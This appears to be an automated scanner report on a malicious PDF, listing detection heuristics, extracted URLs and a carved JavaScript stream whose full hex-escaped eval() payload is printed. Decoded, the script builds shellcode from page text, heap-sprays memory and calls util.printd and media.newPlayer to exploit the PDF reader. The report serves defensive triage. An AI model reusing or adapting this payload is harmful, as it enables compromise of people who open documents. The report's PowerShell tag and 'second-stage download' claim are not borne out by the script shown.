MALICIOUS
216
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF contains embedded JavaScript, which is further obfuscated and uses an eval() call, indicating an attempt to execute arbitrary code. The heuristic 'Suspicious extracted artifact' flags hex escape obfuscation and script obfuscation indicators within the extracted javascript_obj0055_001.js file. This suggests the script's purpose is to download and execute a second-stage payload. The confidence is moderate due to the lack of specific IOCs beyond the filename of the embedded script and the obfuscated nature of the JavaScript.
Machine Learning
- Nyx PDF Classifier malicious score 0.9988
Heuristics 5
-
JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
stream type='text/javascript'>eval('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x4e\x65\x77\x5f\x53\x63\x72\x69\x70\x74\x28\x29\x0a\x7b\x0a\x76\x61\x72\x20\x63\x6b\x57\x6f\x72\x64\x2c\x20\x6e\x75\x6d\x57\x6f\x72\x64\x73\x3b\x0a\x76\x61\x72\x20\x74\x65\x78\x74\x20\x3d\x20\x27\x27\x3b\x0a\x0a\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x69\x20\x3d\x20\x30\x3b\x20\x69\x20\x3c\x20\x74\x68\x69\x73\x2e\x6e\x75\x6d\x50\x61\x67\x65\x73\x3b\x20\x69\x2b\x2b\x20\x29\x20\x0a\x7b\x0a\x6e\x75\x6d\x57\x6f\x72\x64\x73\x20\x3d\x20\x7 … endstream -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.monotype.comMonotype In PDF document text
- http://ocsp.verisign.com/ocsp/status0In PDF document text
- https://www.verisign.com/rpa0In PDF document text
- http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlhttp://www.monotype.com/html/type/license.htmlIn PDF document text
- https://www.verisign.com/rpaIn PDF document text
- http://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl0In PDF document text
- http://www.microsoft.com/typographyIn PDF document text
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0055_001.js |
pdf-javascript-stream | PDF /JS object 55 at offset 0x13DBAE | 6791 bytes |
SHA-256: c397b7957d26d3390f5ce6fff7081e203ffe681c6d8be156c0bf576a2f214abe |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
type='text/javascript'>eval('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x4e\x65\x77\x5f\x53\x63\x72\x69\x70\x74\x28\x29\x0a\x7b\x0a\x76\x61\x72\x20\x63\x6b\x57\x6f\x72\x64\x2c\x20\x6e\x75\x6d\x57\x6f\x72\x64\x73\x3b\x0a\x76\x61\x72\x20\x74\x65\x78\x74\x20\x3d\x20\x27\x27\x3b\x0a\x0a\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x69\x20\x3d\x20\x30\x3b\x20\x69\x20\x3c\x20\x74\x68\x69\x73\x2e\x6e\x75\x6d\x50\x61\x67\x65\x73\x3b\x20\x69\x2b\x2b\x20\x29\x20\x0a\x7b\x0a\x6e\x75\x6d\x57\x6f\x72\x64\x73\x20\x3d\x20\x74\x68\x69\x73\x2e\x67\x65\x74\x50\x61\x67\x65\x4e\x75\x6d\x57\x6f\x72\x64\x73\x28\x69\x29\x3b\x0a\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x6a\x20\x3d\x20\x30\x3b\x20\x6a\x20\x3c\x20\x6e\x75\x6d\x57\x6f\x72\x64\x73\x3b\x20\x6a\x2b\x2b\x29\x20\x0a\x7b\x0a\x63\x6b\x57\x6f\x72\x64\x20\x3d\x20\x74\x68\x69\x73\x2e\x67\x65\x74\x50\x61\x67\x65\x4e\x74\x68\x57\x6f\x72\x64\x28\x69\x2c\x20\x6a\x29\x3b\x0a\x74\x65\x78\x74\x20\x3d\x20\x74\x65\x78\x74\x20\x2b\x20\x63\x6b\x57\x6f\x72\x64\x2e\x74\x6f\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0a\x7d\x0a\x7d\x0a\x0a\x74\x65\x78\x74\x20\x3d\x20\x74\x65\x78\x74\x20\x2b\x20\x27\x20\x27\x3b\x0a\x0a\x0a\x76\x61\x72\x20\x6b\x20\x3d\x20\x31\x3b\x0a\x76\x61\x72\x20\x62\x3d\x30\x3b\x0a\x76\x61\x72\x20\x73\x68\x65\x6c\x6c\x20\x3d\x20\x27\x27\x3b\x0a\x76\x61\x72\x20\x73\x68\x65\x6c\x6c\x5f\x31\x20\x3d\x20\x27\x27\x3b\x0a\x76\x61\x72\x20\x73\x68\x65\x6c\x6c\x5f\x32\x20\x3d\x20\x27\x27\x3b\x0a\x76\x61\x72\x20\x75\x5f\x73\x68\x65\x6c\x6c\x20\x3d\x20\x27\x27\x3b\x0a\x76\x61\x72\x20\x70\x6f\x73\x20\x3d\x20\x30\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x70\x6f\x73\x20\x3c\x20\x28\x74\x65\x78\x74\x2e\x6c\x65\x6e\x67\x74\x68\x2d\x31\x29\x29\x20\x7b\x0a\x20\x70\x6f\x73\x20\x2b\x3d\x20\x6b\x3b\x0a\x20\x69\x66\x28\x21\x62\x29\x0a\x20\x7b\x0a\x09\x62\x20\x3d\x20\x31\x3b\x0a\x09\x69\x66\x20\x28\x70\x6f\x73\x20\x3c\x20\x74\x65\x78\x74\x2e\x6c\x65\x6e\x67\x74\x68\x29\x0a\x09\x7b\x20\x73\x68\x65\x6c\x6c\x5f\x31\x20\x3d\x20\x73\x68\x65\x6c\x6c\x5f\x31\x20\x2b\x20\x74\x65\x78\x74\x5b\x70\x6f\x73\x5d\x20\x2b\x20\x74\x65\x78\x74\x5b\x70\x6f\x73\x2b\x31\x5d\x3b\x20\x70\x6f\x73\x2b\x3d\x32\x3b\x20\x7d\x0a\x09\x65\x6c\x73\x65\x20\x0a\x09\x7b\x20\x73\x68\x65\x6c\x6c\x5f\x31\x20\x3d\x20\x73\x68\x65\x6c\x6c\x5f\x31\x20\x2b\x20\x74\x65\x78\x74\x5b\x70\x6f\x73\x5d\x3b\x20\x70\x6f\x73\x2b\x3d\x31\x3b\x20\x7d\x0a\x20\x7d\x0a\x20\x65\x6c\x73\x65\x0a\x20\x7b\x0a\x09\x62\x20\x3d\x20\x30\x3b\x0a\x09\x69\x66\x20\x28\x70\x6f\x73\x20\x3c\x20\x74\x65\x78\x74\x2e\x6c\x65\x6e\x67\x74\x68\x29\x0a\x09\x7b\x20\x73\x68\x65\x6c\x6c\x5f\x32\x20\x3d\x20\x73\x68\x65\x6c\x6c\x5f\x32\x20\x2b\x20\x74\x65\x78\x74\x5b\x70\x6f\x73\x5d\x20\x2b\x20\x74\x65\x78\x74\x5b\x70\x6f\x73\x2b\x31\x5d\x3b\x20\x70\x6f\x73\x2b\x3d\x32\x3b\x20\x7d\x0a\x09\x65\x6c\x73\x65\x20\x0a\x09\x7b\x20\x73\x68\x65\x6c\x6c\x5f\x32\x20\x3d\x20\x73\x68\x65\x6c\x6c\x5f\x32\x20\x2b\x20\x74\x65\x78\x74\x5b\x70\x6f\x73\x5d\x3b\x20\x70\x6f\x73\x2b\x3d\x31\x3b\x20\x7d\x0a\x09\x0a\x09\x75\x5f\x73\x68\x65\x6c\x6c\x20\x3d\x20\x27\x25\x75\x27\x2b\x73\x68\x65\x6c\x6c\x5f\x32\x2b\x73\x68\x65\x6c\x6c\x5f\x31\x3b\x0a\x09\x73\x68\x65\x6c\x6c\x5f\x31\x20\x3d\x20\x27\x27\x3b\x0a\x09\x73\x68\x65\x6c\x6c\x5f\x32\x20\x3d\x20\x27\x27\x3b\x0a\x09\x73\x68\x65\x6c\x6c\x20\x2b\x3d\x20\x75\x5f\x73\x68\x65\x6c\x6c\x3b\x0a\x20\x7d\x0a\x20\x6b\x2b\x2b\x3b\x0a\x20\x69\x66\x20\x28\x6b\x3e\x33\x29\x20\x6b\x20\x3d\x20\x31\x3b\x0a\x7d\x0a\x76\x61\x72\x20\x57\x6f\x20\x3d\x20\x75\x6e\x65\x73\x63\x61\x70\x65\x28\x73\x68\x65\x6c\x6c\x29\x3b\x0a\x76\x61\x72\x20\x79\x52\x20\x3d\x20\x75\x6e\x65\x73\x63\x61\x70\x65\x28\x27\x25\x75\x33\x37\x32\x37\x25\x75\x32\x37\x66\x35\x27\x29\x3b\x0a\x66\x6f\x72\x28\x69\x3d\x30\x3b\x69\x3c\x31\x35\x3b\x29\x7b\x79\x52\x2b\x3d\x79\x52\x3b\x69\x20\x2b\x2b\x3b\x7d\x0a\x79\x52\x3d\x79\x52\x2e\x73\x75\x62\x73\x74\x72\x69\x6e\x67\x28\x30\x2c\x33\x32\x37\x36\x38\x20\x2d\x20\x57\x6f\x2e\x6c\x65\x6e\x67\x74\x68\x29\x3b\x0a\x0a\x6d\x65\x6d\x6f\x72\x79\x3d\x6e\x65\x77\x20\x41\x72\x72\x61\x79\x28\x29\x3b\x0a\x0a\x66\x6f\x72\x28\x69\x3d\x30\x3b\x69\x3c\x30\x78\x32\x30\x30\x30\x3b\x29\x20\x7b\x0a\x09\x6d\x65\x6d\x6f\x72\x79\x5b\x69\x5d\x3d\x20\x79\x52\x20\x2b\x20\x57\x6f\x3b\x20\x69\x20\x2b\x2b\x3b\x0a\x7d\x0a\x0a\x75\x74\x69\x6c\x5b\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x31\x31\x32\x2c\x31\x31\x34\x2c\x31\x30\x35\x2c\x31\x31\x30\x2c\x31\x31\x36\x2c\x31\x30\x30\x29\x5d\x28\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x35\x35\x2c\x35\x36\x2c\x35\x37\x2c\x34\x38\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x35\x35\x2c\x35\x36\x2c\x35\x37\x2c\x34\x38\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x33\x32\x2c\x35\x38\x2c\x33\x32\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x29\x2c\x20\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x29\x3b\x0a\x75\x74\x69\x6c\x5b\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x31\x31\x32\x2c\x31\x31\x34\x2c\x31\x30\x35\x2c\x31\x31\x30\x2c\x31\x31\x36\x2c\x31\x30\x30\x29\x5d\x28\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x35\x35\x2c\x35\x36\x2c\x35\x37\x2c\x34\x38\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x35\x35\x2c\x35\x36\x2c\x35\x37\x2c\x34\x38\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x33\x32\x2c\x35\x38\x2c\x33\x32\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x29\x2c\x20\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x29\x3b\x0a\x74\x72\x79\x20\x7b\x76\x61\x72\x20\x6f\x62\x6a\x20\x3d\x20\x74\x68\x69\x73\x2e\x6d\x65\x64\x69\x61\x3b\x6f\x62\x6a\x5b\x27\x6e\x65\x77\x27\x2b\x27\x50\x6c\x61\x79\x65\x72\x27\x5d\x28\x6e\x75\x6c\x6c\x29\x3b\x7d\x20\x63\x61\x74\x63\x68\x28\x65\x29\x20\x7b\x7d\x0a\x75\x74\x69\x6c\x5b\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x31\x31\x32\x2c\x31\x31\x34\x2c\x31\x30\x35\x2c\x31\x31\x30\x2c\x31\x31\x36\x2c\x31\x30\x30\x29\x5d\x28\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x35\x35\x2c\x35\x36\x2c\x35\x37\x2c\x34\x38\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x35\x35\x2c\x35\x36\x2c\x35\x37\x2c\x34\x38\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x33\x32\x2c\x35\x38\x2c\x33\x32\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x34\x39\x2c\x34\x36\x2c\x35\x31\x2c\x35\x32\x29\x2c\x20\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x29\x3b\x0a\x0a\x0a\x7d')
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.